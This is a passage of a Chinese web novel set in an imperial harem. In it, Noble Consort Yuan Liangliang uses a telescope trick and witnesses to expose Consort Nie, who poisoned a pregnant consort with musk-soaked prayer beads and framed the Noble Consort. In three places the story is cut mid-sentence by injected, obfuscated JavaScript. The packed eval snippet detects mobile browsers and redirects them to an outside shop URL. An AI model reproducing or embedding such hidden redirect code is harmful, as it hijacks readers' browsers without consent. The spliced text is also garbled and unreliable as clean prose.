八公主和贵妃都用一言难尽的眼神瞅她。婚礼?她想的倒是挺美。 元良良点头:“这确实也是个问题。” 元良良想想,看她:“所以姚婕妤呀,你最近就多去聂婕妤面前晃悠,引她早点上钩。” 八公主掩面“嘿嘿”笑。 姚婕妤想斥责八公主没礼貌,又发觉这好歹是个公主,她又瞧贵妃,更凶不出来。叹完一口气,抱着肚子起身走人了。 等到姚婕妤走了,八公主问贵妃:“于小公子那还没回信吗?” 元良良愁眉说:“这事怕是不简单,说来话长了。本宫都不敢告诉姚婕妤,怕她一尸两命,到时候就真如了聂婕妤的意了。” 八公主自个想了想,又问:“莫非于家人不同意?” 元良良迟疑点头:“算是吧。倒没拒绝,于家人只说于惞定了亲了。” 八公主很是不解:“于小公子玷污宫妃那可是要祸及家族的大罪,眼下贵妃只是让他把姚婕妤娶了,他们怎还敢拒绝?” 元良良叹口气:“于家人是同意的,可于惞不答应。人家还没直接拒绝,把难题推了回来,问本宫该如何处理姚婕妤和于惞未婚妻的事。你可知于惞未婚妻是谁?” 八公主:“是谁?” “福亲王嫡出幺女齐代双。” 八公主惊讶到捂嘴:“怎么是她?两家不般配哪。福亲王府怎会同意这门婚事的?” 元良良朝天上翻个白眼:“还不是于惞那张脸惹的祸。把那齐代双迷得自家大门口在哪都找不见,那小丫头非得嫁给于惞,福亲王夫妇只能同意。亲事还是让世子主动去于家提的,于家不敢推,当然也不会推。多好的亲事哪,娶了福亲王幺女,可比娶公主还体面呢。” 元良良反应过来自己一不小心说秃噜嘴了,赶紧不好意思的瞥八公主:“是本宫嘴快。” 八公主自出宫嫁人后倒是越发豁达,笑盈盈摆手:“小八不介意的,贵妃不必往心里去。” 元良良抱抱她,然后没再多话。 八公主好奇又问:“那这事要怎么办?” 元良良也不知要怎么办。本来送姚婕妤出宫就不是件容易事,要再为了姚婕妤,去得罪福亲王府和于家,别说陛下不答应,她也不舍得让陛下为难的。 这么想想,还不如一开始让陛下处置了姚婕妤一了百了呢。倒是谁都不用为难了。 哎。 元良良第一次觉得自己多管闲事是件太过错误的决定。 “这事咱们先别告诉姚婕妤。”贵妃毫不亏心又说,“等逮到聂婕妤再说。” 八公主表示她都明白的。 ... 聂婕妤回去后越想越无法释怀,她不懂,真的不懂,流那么多血,人是怎么能活的?还就连肚子里的孩子都保住了。 聂婕妤想的头昏脑涨都想不通,她只有将此归结于姚婕妤运气好。 聂婕妤想着事,侍女通禀姚婕妤来看她了。 姚婕妤是来感谢她的,说是要不是因为她,自己个早一尸三命了。 这天,姚婕妤拉着聂婕妤说了好多话。来来回回就是说让她聂婕妤放心,都是姐妹,她不会看着她聂婕妤穷困潦倒的。 “以后等本宫生下两个小皇子,本宫再晋了位份,一定求陛下也多多宠幸姐姐。哎呀,妹妹是不是说错话了?姐姐好像不喜欢陛下来着?那可怎生是好,要不然回头本宫就让陛下多多赏赐姐姐好了。” 聂婕妤觉得姚婕妤在讽刺自己,可瞧着姚婕妤蠢笨的样子,她又觉得是自己想多了。 聂婕妤笑:“好呀,那姐姐先在此多谢妹妹了。” 姚婕妤忙摆手说都是姐妹,不是亲的胜是亲的,客气啥。 吃了她殿里好些点心的姚婕妤又说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982252|127666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要出去散散步,要聂婕妤陪着。聂婕妤沉了一口气,笑着应下。 如今宫里谁不知道姚婕妤怀了龙胎,还是双龙胎!以至于她走到哪,都能受到众嫔妃的恭维。 看到姚婕妤,本来在亭子赏鱼的几人退了出来,热情簇拥着姚婕妤。一不小心聂婕妤就落在了最后,还不知被谁踩了一脚。 聂婕妤移动着跛脚,心里暗恨,表面却是云淡风轻,毫不介怀的模样。 一新入宫妃嫔递给姚婕妤一个竹编小挎篮:“这是嫔妾母家带给嫔妾的梅子干,酸酸甜甜,尤其开胃,婕妤尝尝。” 姚婕妤接过,尝了口,撇嘴说:“这梅子又小又干巴,本宫还是吃陛下赏的杏脯得了,这个就……给聂姐姐吧。谁让本宫跟聂姐姐关系最好呢。” 聂婕妤提起僵着的唇角后,才从姚婕妤手里接过挎篮。 又听到姚婕妤问她:“姐姐怎么不尝尝?不合本宫胃口,兴许姐姐就喜欢这种呢?” 在所有看好戏的目光下,聂婕妤缓缓捏起一颗梅子,又缓缓送进嘴里。 她吃的哪是梅子干,她吃的分明就是耻辱! 第二日,贵妃许是歉疚,特地着人上门送了姚婕妤一串玉佛珠。 又隔了数日,聂婕妤也亲自上门,说是为了感谢姚婕妤对自己的青睐,送上自己常佩戴的玉佛珠。 巧的是,聂婕妤和贵妃送的竟是一模一样的两串。 姚婕妤怕聂婕妤不信,还拿出来特意作了对比,聂婕妤还亲自拿到阳光底下瞧了,结果真一点没差。 聂婕妤就说要拿回去,改送个更有意思的礼物给姚婕妤,姚婕妤欣然答应。 当日下午聂婕妤又给姚婕妤送来了一串玛瑙珠。 ... 聂婕妤瞅着眼前的玉佛珠,问月牙:“可瞧得出区别?” 月牙仔细打量后,摇头:“婕妤,奴婢瞧不出。瞧着和咱们那串真的一般无二。” 一般无二当然是一般无二的。谁让她的那串就是仿造贵妃给姚婕妤的那串打的呢。可花了她不少银子呢。 聂婕妤不放心,又特意拿到阳光底下,拢着眉,细细瞧了半个时辰,确定真的无差后,才放下心,叮嘱月牙好生收着。 没过数日,怀了双胎的姚婕妤在吃过晚膳后溜圈时忽感腹痛不止,这一变故,可是吓坏了陪同她散步的几位嫔妃。 姚婕妤回到婕妤殿的同时,数位御医也纷纷赶到。 又不多时,传出了姚婕妤小产的消息。 陛下更是亲临婕妤殿。 而清醒过来的太皇太后也派了玉瓷嬷嬷来探听情况。 陪同姚婕妤散步的几个嫔妃见到陛下忙喊冤枉,这事跟她们无关呀。 陛下命御医务必查清姚婕妤小产原因。御医们也不负圣恩,经过商讨,不过半个时辰有了结论。 就是因为姚婕妤颈中的玉佛珠。 “陛下,此玉佛珠浸染了麝香粉,姚婕妤带在身上数日,这才引发的小产。”林御医道。 陛下问:“玉佛珠在哪?” 转眼,内侍捧着玉佛珠递于陛下眼前。 陛下瞧了,又问:“这串玉佛珠,姚婕妤从何而来?” 291. 贰佰玖拾壹 姚婕妤贴身侍女小禾战战兢兢答:“回……回陛下,是贵妃娘娘所赠。” 陛下大发雷霆:“好个贵妃,竟一而再对姚婕妤下手!这回朕绝不姑息!” 玉瓷嬷嬷十分吃惊,她此番过来就是太皇太后怕此事和贵妃有关,怕陛下包庇贵妃,让她来监督的。谁知她会听到陛下这番话。 玉瓷嬷嬷不禁想,难道是贵妃这回真失宠了? 还是说,陛下真的这般看中姚婕妤,和姚婕妤腹中的双龙胎? 玉瓷嬷嬷觉得可能两者都有。毕竟陛下子嗣确是少了点,陛下着急也正常。比起龙嗣,一个女人又算得了什么。 想到此的玉瓷嬷嬷也不再着急,打算继续旁观瞧着。 陛下一怒之下,发话让人把贵妃宣来。 贵妃慢吞吞才过来,从轿辇上下来,看到陛下欣喜迎上前,被陛下一把甩开。 也不知是陛下力道过重,还是贵妃体弱,大家只瞧见陛下就这么轻轻一甩手,下一瞬贵妃就侧卧在了地上。 贵妃趴在地上掩面痛哭,半天没起来。 贵妃身边的奴才想扶,碍于陛下,皆不敢扶。 总之陛下也很吃惊贵妃会不慎摔倒就是了。陛下脚步只向贵妃挪了一步,随即站住,下意识伸出的手又缓慢背去了身后。 众人只见贵妃梨花带雨,语带悲戚说:“听闻姚婕妤小产,陛下宣臣妾来,莫不是想诬赖是臣妾害的姚婕妤?” 玉瓷嬷嬷这回心下确定贵妃是真的被陛下嫌弃了。心说贵妃竟是不打自招。哪有自己往上凑的,真是愚蠢呀。 其余嫔妃心想,都说贵妃有手段,看来也不过如此,竟是轻而易举被人发现了。 陛下一脸怒容道:“不是诬赖,而是证据确凿!这串玉佛珠贵妃解释解释吧!” 元良良顺着陛下手指的地方看去,赫然躺着她给姚婕妤的玉佛珠。她狼狈爬起来,没伸手去拍身上的土,而是第一时间去拿玉佛珠,被陛下眼疾手快拍掉手背。 陛下:“贵妃难不成还想毁尸灭迹?有话说话就成,不许动手!” 说是说此麝香和他的香包是一样的东西,但谁知道呢,以防万一,陛下觉得还是不能让贵妃碰。 元良良捂着泛红的手背,委屈巴巴说:“陛下怎知道这串玉佛珠就是臣妾给姚婕妤的那串,臣妾听闻聂婕妤也给了姚婕妤一串呢,是吧聂婕妤?” 正躲在几个嫔妃后头围观的聂婕妤未料到这么快被点名。好在她早做好了被陛下问话的准备,当即上前福身回话: “回陛下,贵妃娘娘说的是,嫔妾的确送过姚婕妤一串玉佛珠,但那日姚婕妤说贵妃也送了一串一模一样的,嫔妾就想着换一样,就将嫔妾带过来的一串又带回去了。” “也就是没有送?”陛下问。 聂婕妤答话:“是这样的,陛下。” 陛下瞧着贵妃:“贵妃还有何话解释?” 元良良向聂婕妤走近两步,又凝视着聂婕妤:“兴许本宫那串被聂婕妤掉包了呢。” 聂婕妤早有准备,对上贵妃视线,徐徐答话:“贵妃娘娘这话吓到嫔妾了。嫔妾是到了姚婕妤殿内才知嫔妾送的竟是和贵妃一样的玉佛珠,更有当时姚婕妤以及数个侍女都在一处,众目睽睽之下,嫔妾又岂敢掉包。” “岂敢掉包?”元良良冷哼,“那怎么姚婕妤身边的人说是看到聂婕妤拿走了本宫的串子?” 聂婕妤下意识当贵妃是在诈自己。她掉包时可是小心再小心,确认当时殿里只有两个奴才,而那两人都未注意她的动作的。 思及此,聂婕妤绝口否认:“嫔妾并未,还请贵妃勿要冤枉嫔妾。嫔妾请陛下做主还嫔妾公道!” 聂婕妤言辞恳切,言之凿凿,任人看了都觉得她是被冤枉的那方。而装模作样的贵妃,当然是欺负人的那个啦。 元良良同样横眉竖目:“好呀,人证物证俱在,聂婕妤还敢否认。” 转而瞧陛下:“陛下,臣妾要求把姚婕妤心腹宫女小禾叫出来指认聂婕妤。” 陛下:“准。” 小禾出来,给陛下叩头,后说:“回陛下的话,贵妃娘娘说的不错,奴婢亲眼所见聂婕妤掉包了贵妃的玉佛珠。” 聂婕妤死盯着小禾,心想难不成当时真被这丫头发现了?她想啊想,终于确认当时在殿里的两个奴才中可没有小禾。 贵妃果然是在故意诈她!聂婕妤想明白,立时泪盈于睫看向陛下: “陛下,您要相信嫔妾,嫔妾不是这种人哪。嫔妾真没有做过。嫔妾不知是否是嫔妾哪里惹了贵妃不快,贵妃要这般污蔑嫔妾,要置嫔妾于死地。请陛下为嫔妾做主!” 陛下看向贵妃:“贵妃有何话说?” 元良良好整以暇审视聂婕妤:“聂婕妤是否以为你这样说,大家就会信你?” 聂婕妤听了这话,竟是抬头与贵妃对视,眼中透出自信光辉,好似说“那要不然呢,信你贵妃吗”。 元良良问围观的嫔妃和诸多宫侍:“本宫和聂婕妤之间,大家是否更信聂婕妤?” 元良良又瞧向代表着太皇太后的玉瓷嬷嬷:“玉瓷嬷嬷信谁?” 玉瓷嬷嬷有些为难。元良良叹口气,让她不必说了。 “不管你们信不信,本宫今日说的就是大实话,她聂婕妤试图害死姚婕妤,更嫁祸本宫!” 元良良视线再度转回聂婕妤身上,发现聂婕妤仍旧直勾勾盯着自己。面上依旧带着凄楚: “贵妃已经是贵妃了,嫔妾不过是一个小小婕妤,贵妃又何必非要和嫔妾过不去呢。如有得罪之处,嫔妾向您道歉还不成吗?” 表情声音无不楚楚可怜,可元良良却瞧出了她眼底的挑衅。 元良良不甘示弱瞪回去,直到眼睛哗哗流泪,她不得不认输。这人,学过猫头鹰站树桩吗? 众嫔妃瞧着贵妃的样,还当贵妃也要博同情装可怜。只是碍于贵妃高人一等,谁都不敢吱声。 这时就听陛下道:“朕是大祁的陛下,以公道立国,以公道服众。今日不论是聂婕妤还是贵妃,谁有罪朕绝不徇私。尔等大可帮朕一道寻找谋害姚婕妤的凶手,朕允尔等知无不言。” 众妃嫔又哪敢真的信陛下这话,万一事后贵妃找她们算账就不妙了。 陛下又道:“尔等尽可实话说来,若是聂婕妤或是贵妃事后找你们麻烦,你们大可向朕禀报,朕绝不姑息。” 众妃嫔听了这话,终于有几人跃跃欲试。 元良良一瞧,发现想说话的几个都是在宫里待了好多年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13002107|127666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的妃子。怕是都憋坏了。 终于有个纤弱却不失动听的声音传来:“陛下,聂婕妤人虽冷淡,但确是心善之人。” 有一个开口,就有第二个:“回陛下话,前不久贵妃针对姚婕妤,聂婕妤好心替姚婕妤求情,也的确是得罪了贵妃娘娘的。” “陛下,聂婕妤并无害贵妃的动机哪。” “陛下,姚婕妤和聂婕妤素来要好,聂婕妤怎会为了嫁祸贵妃,而伤害姚婕妤呢?” 陛下面色无常,只晦暗眼底多了几分担忧,望向状似毫不在乎的贵妃。 元良良知道陛下在看自己,她没有给陛下一个眼神,而是笑望着大家,听着大家一个个跳出来维护聂婕妤,明里暗里数落她这贵妃。 春雨香黛几个纷纷捏着拳,苦大仇深瞪着底下一干人,恨不得冲上前一人揍一顿,逼她们收回刚才的话。 元良良瞧向聂婕妤,聂婕妤依旧清高,像一只鹤般伸着长长的脖子,昂着高高的头颅,在她看过来时,又刚巧与之对视。 似乎料到聂婕妤会冲自己得意笑,元良良赶紧笑在她之前。 聂婕妤瞧着贵妃从容挑眉的样子,心里“咯噔”一下。 元良良要的就是她这一“咯噔”,而后笑得更灿烂了。 聂婕妤又梳理了一遍自己的计划,确认没有错漏后,放下心里的石头。而后索性瞥开眼。 反正如今处于下风的是贵妃,只要贵妃拿不出实质证据,就奈何不了她分毫。 元良良笑望着她:“聂婕妤这下是安心了?觉得大家都信你?觉得本宫拿你没办法?要人证不够,那本宫还有物证。请聂婕妤把偷本宫的那串珠子还给本宫,本宫一眼便知聂婕妤手里那串是否是本宫的。” 听到这话的聂婕妤也同样淡定,毫不犹豫表示贵妃可以去她宫里将玉佛珠取来。 陛下为示公平,没有让贵妃的人去取,而是派了自己的人,还让玉瓷嬷嬷当见证一道跑一趟。 很快玉佛珠取来。 两串一模一样的玉佛珠摆在一起,由两个侍女一左一右端着。 贵妃说:“本宫的玉佛珠上被本宫的丫头不当心磕了一个印记,本宫一看便知。” 元良良上前端详着,要伸爪子够聂婕妤处拿回来的串子时,被陛下率先抓在掌中。 “既是证据,贵妃还是别动了。” 元良良噎了下,很快反应陛下这是担心她呢。毕竟这是聂婕妤宫里出来的,谁知道是不是有毒。当下似嗔似怨瞥了陛下一眼。 而在众人眼里:陛下竟是对贵妃都这么冷酷无情,贵妃难道终于要失宠了吗? 聂婕妤很想笑,但她忍住了。她得意可不是因为陛下对贵妃的态度,而是她觉得贵妃好蠢。 就听陛下问贵妃:“印记在哪?” 贵妃说:“接口第八颗,珠子内侧。” 聂婕妤狐疑,一串珠子上的划痕,贵妃记得这么清楚吗?很快她释然,贵妃素来小家子气,倒也能理解。 陛下数呀数,这头没瞧见划痕,又数另一头,然后就发现了。 “找到了。” 陛下举着珠串,交给内侍,由内侍溜一圈给众人瞧上头的划痕。 众嫔妃窃窃私语,难道真是聂婕妤掉包了? 292. 贰佰玖拾贰 所有人看向聂婕妤,等着看聂婕妤的反应。 聂婕妤不慌不忙道来:“嫔妾要说,嫔妾的这串珠子刚好也有划痕呢,刚好划痕也在珠子的第八颗内侧,陛下信是不信?” 陛下:“哪有这般巧之事,朕自是不信。别说朕不信,想必大家都不会信。” 大家当然也不信,但看聂婕妤淡定的神情,大家又觉得很奇怪。 就听聂婕妤说:“陛下是不信嫔妾这话,还是不信不可能有此种可能发生?” 陛下听懂了这话的意思。 大家迟钝了片刻,也都反应过来。 是呀,虽说聂婕妤这话听着就假,但不得不说还是有此种可能发生的呀。万一这是聂婕妤的串子,刚巧被贵妃发现划痕,拿来作妖呢? 都有可能发生的嘛! 陛下中肯道:“聂婕妤这话十分有道理。” 众人于是又看向贵妃。 元良良拍拍胸口:“聂婕妤反应可真够快的,本宫差点就拿你没办法了。” 所有人都听仔细了贵妃说的“差点”两字。 聂婕妤心里并非不忐忑的。 元良良冲她又龇牙一笑,不慌不忙开口:“本宫这串子可不止有划痕,还刻了本宫的名字。难道聂婕妤的串子也刻了本宫的名字不成?” 聂婕妤不说话,似在考虑贵妃这话是真是假。 元良良催促:“聂婕妤,本宫在问你话呢?” 聂婕妤想到这肯定是贵妃在诈她,她拿回玉佛珠后,可是一颗颗在阳光下察看过的,那么小的一点划痕都能被她发现,有名字怎可能错过。 对,一定是贵妃故意使诈! 思及此,聂婕妤收拾妥表情,开口:“贵妃说笑了,嫔妾的玉佛珠上当然不会有贵妃的名字。这串玉佛珠就是嫔妾的,嫔妾肯定上头没有贵妃的名字。” 元良良志在必得一笑:“就等聂婕妤这话呢。来人,把本宫的千里镜拿来。” 千里镜? 大家没见过,但都听说过。千里镜是番外特贡给陛下的宝物,据说千里镜能看千里远呢,千里之外的人都能看得一清二楚。原来陛下将千里镜给贵妃了呀。 聂婕妤和大家一样不懂贵妃这是要干嘛。 不一会儿千里镜拿来,贵妃熟练把玩着千里镜,不时搁在眼睛上,远望望近望望,说:“这千里镜不止能望见千里之外的行人赶路,这近了,还能看到衣服内的东西。” 衣服内的东西? 贵妃故意戴着千里镜凑近聂婕妤,聂婕妤吓得淡定不在,捂着胸口跟只□□一样跳老远。贵妃又转头去瞧陛下。 陛下大方任贵妃瞧。 贵妃是上上下下,仔仔细细瞧了半晌,还边眯眼打量边满意点头。 贵妃这…… 陛下没啥反应,可众嫔妃却羞红了脸。贵妃这是在调戏陛下吗? 调戏完陛下的贵妃,又拿着千里镜走到玉佛珠前,眯起一只眼认真瞧玉佛珠。片刻后,贵妃忽地大叫:“这串子果然是本宫给姚婕妤的那串!你们不信,大可过来瞧!玉瓷嬷嬷。” 贵妃冲玉瓷嬷嬷招手,玉瓷嬷嬷便上前,在贵妃的指示下,学着贵妃的样,戴上千里镜,瞧玉佛珠。 贵妃则冲大家说:“这串子的确刻着本宫的名字,只不过不是在表面,而是在珠子内里穿孔的地方。肉眼当然瞧不见,可这千里镜却是可以的。” 玉瓷嬷嬷没看多久,惊讶道:“有,还真有贵妃的字!每一颗珠子还都有个良,对吧,贵妃?” 贵妃笑眯眯点头:“没错。” 聂婕妤不敢置信,当下反驳:“这不可能。字怎可能刻在珠子内里,哪个工匠都做不到。贵妃莫不是故意在诓骗嫔妾?” 元良良还没说话,玉瓷嬷嬷听到这话忍不了:“聂婕妤莫非以为老奴串通的贵妃诓骗与你聂婕妤不成?” 玉瓷嬷嬷难得激动:“老奴可以对着太皇太后发誓,老奴所说句句不假,珠子里头就是有字的!” 元良良:“聂婕妤不信,自己过来瞧瞧不就知道了?” 聂婕妤还真不信,但她也不太敢上前。还是贵妃命人“请”她上前,又硬将千里镜塞在她手里。 聂婕妤缓慢将千里镜移动到眼前,捏着千里镜的手指关节僵着,指腹发白。 然后就像玉瓷嬷嬷说的,她果然看到了玉佛珠里的“良”字,还每一颗珠子都有一个“良”字。 聂婕妤想不通,她无论如何都想不通。字究竟是怎么刻进珠子内部去的? 聂婕妤放下千里镜喃喃:“这不可能,我定做这串玉佛珠时,明明那工匠说了不便刻字。” 她当时让月牙出去买的玉佛珠,就怕贵妃在玉佛珠上刻字,特地让月牙问了工匠,工匠明确说了为呈现玉佛珠的饱满光泽,在他这定制的玉佛珠都不给刻纹。 “哦,是吗?那你可有问工匠是里头不让刻字还是外头?本宫当时也问了,工匠确实表示外面刻了触手不够莹润光滑,本宫就问能不能刻在里头,那工匠起先也说有难度,后来还是本宫废了不少银子才让工匠做出来的。” 元良良扫一眼四周:“本宫知道大家定然怀疑,大家不妨上前一观。” 贵妃发话,香黛立马上前一把夺走正兀自愣神的聂婕妤手里的千里镜,香黛将千里镜往众嫔妃堆里扬了扬,没人主动上前,香黛索性递给站在最前的一个嫔妃。 嫔妃接过,瞧了,连连点头:“的确是有!” 之后香黛又寻了几个妃嫔,大家一致表示玉佛珠里头的确有贵妃的字。 那么多嫔妃说有,还有玉瓷嬷嬷也说看到了,就连聂婕妤自己也没否认。 聂婕妤刚才还说了什么?工匠告诉她不便刻字。也就是说聂婕妤的那串是没刻字的。 那眼前这串从聂婕妤殿里搜出来的有字的串子就是贵妃的了?聂婕妤真的偷了贵妃的串子呀? 不,聂婕妤是为了谋害姚婕妤嫁祸贵妃,特意又打了串一样的吧! 元良良向香黛伸手,香黛将千里镜递给她。她又戴着千里镜去瞧另外一串玉佛珠。瞧完,问聂婕妤:“这串里头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016091|127666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没字,聂婕妤可要再瞧瞧?” 不信邪的聂婕妤还真的上前瞧了,等放下千里镜,只见她脸色铁青,额角还渗出了密密细汗。 “对了,这串也要让大家瞧瞧才好。” 元良良又招来几个嫔妃,包括玉瓷嬷嬷,又戴着千里镜瞧了遍。 大家一致表示:这串里头没有字! 元良良瞧向聂婕妤:“聂婕妤还有何可狡辩?” 聂婕妤张了张嘴。 贵妃气势十足说:“聂婕妤难道还要怀疑本宫在这千里镜上动手?聂婕妤有证据,大可说出来,可要没有,今日谋害姚婕妤,嫁祸陷害本宫,两项罪,聂婕妤一项都别想跑!” 千里镜是贡品,聂婕妤别说懂这玩意儿,就是见都没见过。她刚的确想说千里镜有问题,谁知被贵妃看破,这会儿她又哪张得了这个口。 贵妃问:“人证物证俱在,聂婕妤还不肯承认吗?” 承认她就完了!聂婕妤木然站着。 陛下这时道:“把人带上来。” 带上来的是个小内侍,哆哆嗦嗦匍匐在地。聂婕妤已瞧见此人,眼里是又惊又惧。 也不用陛下问,小内侍什么话都交代了。要给姚婕妤送有毒的玉佛珠,就得去买毒。麝香粉就是聂婕妤给了他不少好处,命他买来的。 小内侍话说完,他的旁边又有一丫头被推倒在地。 是聂婕妤心腹月牙。 月牙本不想说实话,毕竟聂婕妤有事,她作为帮凶,也难苟活。结果陛下亲口许诺,只要她坦白从宽,可饶她无罪。 月牙心动了。她感觉到聂婕妤火辣辣的目光,不敢抬头,终于她下定决心。她在聂婕妤眼中不过只是一个奴才,可她也想好好活着,她没有错。 月牙把能说的不能说的都说了。她如何听从聂婕妤的话去买玉佛珠,又如何用麝香粉浸染玉佛珠,且不留味道。而聂婕妤又是如何接近姚婕妤,利用姚婕妤,数次陷害贵妃。 聂婕妤一脚踹翻月牙:“狗奴才敢诬陷本宫!本宫哪里对你不住?究竟是谁指使你诬陷本宫的?” 月牙被踹的心口发疼,她知道聂婕妤今日要不死,恐怕将来自己会被往狠了报复。 她更扯着嗓子说:“聂婕妤说贵妃太霸道,她这是在替整个后宫除害!聂婕妤还说陛下瞎了眼才看中贵妃的,说贵妃没脑子装柔弱,大把年纪扮娇嫩!” 聂婕妤气到抓狂,还想去踹月牙,被一旁的两个内侍反剪了双手。 谁没脑子?谁装柔弱了?没脑子,装柔弱,好,都可以,可凭什么又说她年纪大? 元良良告诉自己不要跟个手下败将生气,她聂婕妤不配! 艰难控制着自己的手脚。要不是碍于人多,碍于她贵妃娘娘的面子,她早就上前将人踹飞了! 月牙见聂婕妤被绑了,更有恃无恐:“聂婕妤还说陛下根本不配为陛下,说陛下脾气差,又抠,要是生在民间,怕是娶媳妇都困难……” 元良良这回没忍住,她上前就“哐哐”踹了聂婕妤的膝盖两脚。 293. 贰佰玖拾叁 在月牙说完陛下的话后,所有人都惊吓过度,纷纷下跪。 元良良先是掐着腰,后忍不住,拽住聂婕妤的发包:“陛下那是抠吗,陛下那是为江山社稷,宫里少给你做的两身衣服本宫不也补给你了? 陛下脾气差?你有跟陛下接触过吗,要是接触过,那可能只是对你!谁让你这么贱这么坏! 你放心,要有下辈子,再娶不着媳妇,那也有本宫操心,不劳你!” 众嫔妃无比感慨,她们倒也不是被贵妃的一番话感动,只是觉得贵妃不愧是贵妃,这反应多快哪,轻轻松松两句话瞧把陛下感动的。 众嫔妃们皆打心底觉自叹弗如。 陛下本是恼怒聂婕妤以下犯上,但瞧见贵妃维护自己的样子,陛下眉眼别提多柔和了。陛下无数次又想,有贵妃在身边真好。 陛下又第一次想,他和贵妃的下辈子也不知道怎样的,万一下辈子碰不到呢?陛下很快又想好了对策,没关系,大不了到时候他主动点,去把贵妃找回来。 被抓住手臂动弹不得,又被贵妃抓住头发,丢尽脸面的聂婕妤知道无力回天了,狰狞着脸怪笑: “哈,难道我说的有错吗?贵妃难道不觉得嫔妾说的都是实实在在的真话吗?都说贵妃身子弱短命,我等啊等,等到现在,贵妃还不是活蹦乱跳的,比谁都胖?” 元良良:谁胖了?! 聂婕妤自顾自说:“你也的确没脑子,有脑子怎么现在还是贵妃?贵妃难道年纪不大吗?和新入宫的小丫头扮嫩争宠,脸上这粉一年厚过一年,难道不是吗?” 元良良搓了两下脸颊,咬牙切齿:“你瞧瞧,搓不掉的,本宫本来就白!” 聂婕妤不理她,转不过脸去,就斜着眼瞧陛下: “陛下不会以为就嫔妾这么认为您吧?那您大错特错,您的整个后宫可都这样想您呢!要不是你是陛下,谁又愿意看你的臭脸!别人对待自己的妻妾不说温柔体贴,至少吃穿不愁,我还是宫妃呢,却还要打络子做绢花拿出去换银子花。” 陛下凤眸沉沉:“是你自己要进宫的,怪不得朕。” 聂婕妤飙泪吼:“那是嫔妾吗,那是被西太后逼的!” 感觉到眼前下小雨,元良良赶紧松手放开她。擦了擦脸,退回到陛下身边。 陛下道:“那也不是任你害人性命的理由。你谋害姚婕妤,陷害贵妃,证据确凿。即日起,聂婕妤废封,送往祁福山皇陵,此生不得出。” 聂婕妤以为自己死定了,谁都以为聂婕妤死定了。结果陛下竟好说话的放了她一马。 陛下说完,大步离开。 贵妃要跟上。 春雨嘟嘴拉元良良袖子,示意主子惩戒嫔妃们。她们竟敢怀疑贵妃,对贵妃不敬,就该被罚。 元良良环顾一圈伏地不起的嫔妃们,轻声说了句:“没意思。” 随即转回头,紧随陛下而去。 春雨一瞧嫔妃们,点头:“是挺没意思的。”她撒腿跟上贵妃。 众妃嫔跪着,一直等到陛下贵妃走远了,才艰难起身。众妃嫔起身后的第一件事,就是追过去揍聂婕妤。 什么叫替后宫除害?什么叫整个后宫都这样想陛下? 她说她自己就算了,偏要拉她们下水。好在陛下和贵妃没跟她们计较,不然真是被她聂婕妤害惨了! 没想到能活命的聂婕妤正在侥幸喜悦中,听闻皇陵吃住还是可以的,也不像在皇宫里要给这跪给那跪,她成了废妃,还不用补贴家里,多好的事呀。 就在这时,看到了眼前冲过来的一群女人。 ... “你们真是没瞧见,聂婕妤被送出宫时那叫一个惨。啧啧啧,吓人。” “偏偏,伤还都在脸上。这要送出去被百姓瞧见,我都怕百姓误会是陛下动的手。” “陛下动手也正常。这不大家都知道是聂婕妤害了姚婕妤小产的?这可两条小皇子的命呢。” “说的也是。” 元有慧和八公主听说聂婕妤被众嫔妃围殴,都好奇打成什么样了,于是两人一人背着一个娃假装出去溜达,实则是去给聂婕妤“送行”。 两人回来后是一顿唏嘘。 元良良骂了声“活该”,她都觉得贬去守皇陵便宜此人了。姚婕妤和她好端端的,那是因为她贵妃智勇双全,早有防范,才取得胜利一击。可不是她聂婕妤心善。 要不是这样,结果就是姚婕妤一尸三命,她贵妃铁定也要被冤枉,死不了,也得脱层皮那种。 元有慧拿了千里镜逗二胖和小宝玩,一脸的后怕:“就差一点,要当时聂婕妤拿着千里镜瞧了有‘良’字的串子,又马上去瞧另一串子,这事铁定穿帮了。” 八公主本不觉得有什么,听了这话,也神色凝重起来:“没错。要真穿帮了,贵妃打算如何?” 元良良得意洋洋说:“这千里镜是稀罕之物,本宫自然能肯定聂婕妤没瞧见过。 一个人要是不了解一样东西,又哪会想那么多。聂婕妤就算再聪明,怕也想不到这千里镜装琉璃的地方被本宫垫了一张写了本宫字的纸,本宫要她看得见就看得见,本宫要她看不见,就看不见。” “你就侥幸吧。” 元有慧瞧不得贵妃这尾巴翘到天上去的样子:“要换了我,不熟悉归不熟悉,照看不误。看一眼肯定不会错。” 